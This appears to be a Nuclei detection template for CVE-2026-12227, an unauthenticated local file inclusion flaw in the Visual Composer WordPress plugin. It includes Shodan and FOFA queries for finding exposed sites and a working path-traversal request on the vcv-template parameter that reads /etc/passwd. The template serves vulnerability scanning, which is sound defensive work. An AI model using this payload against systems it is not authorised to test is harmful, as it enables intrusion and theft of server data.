id: CVE-2026-12227

info:
  name: Visual Composer <= 45.16.0 - Unauthenticated LFI
  author: 0x_Akoko
  severity: critical
  description: |
    Visual Composer Website Builder for WordPress <= 45.16.0 contains a local file inclusion vulnerability caused by improper validation of the vcv-template parameter, letting unauthenticated attackers include and execute arbitrary files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data on the server.
  remediation: |
    Update to the latest version beyond 45.16.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/visualcomposer/visual-composer-website-builder-45160-unauthenticated-local-file-inclusion-via-vcv-template-parameter
    - https://github.com/murrez/CVE-2026-12227
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12227
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-12227
    epss-score: 0.02868
    epss-percentile: 0.86688
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 2
    vendor: developer
    product: visualcomposer
    shodan-query: http.html:"/wp-content/plugins/visualcomposer/"
    fofa-query: body="/wp-content/plugins/visualcomposer/"
  tags: cve,cve2026,wordpress,wp-plugin,visualcomposer,lfi,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "visualcomposer")'
        condition: and
        internal: true

  - raw:
      - |
        GET /?vcv-template-type=vc&vcv-template=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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